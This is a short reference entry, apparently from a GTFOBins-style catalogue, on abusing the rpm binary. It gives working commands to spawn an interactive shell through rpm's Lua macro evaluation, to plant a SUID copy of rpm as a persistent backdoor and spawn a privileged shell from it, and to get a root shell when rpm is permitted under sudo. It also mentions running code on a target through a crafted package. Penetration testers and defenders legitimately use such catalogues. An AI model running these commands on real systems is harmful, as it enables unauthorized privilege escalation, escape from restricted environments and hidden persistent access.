It can be used to break out from restricted environments by spawning an interactive system shell.
rpm --eval '%{lua:os.execute("/bin/sh")}'It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which rpm) .; chmod +s ./rpm'
./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.
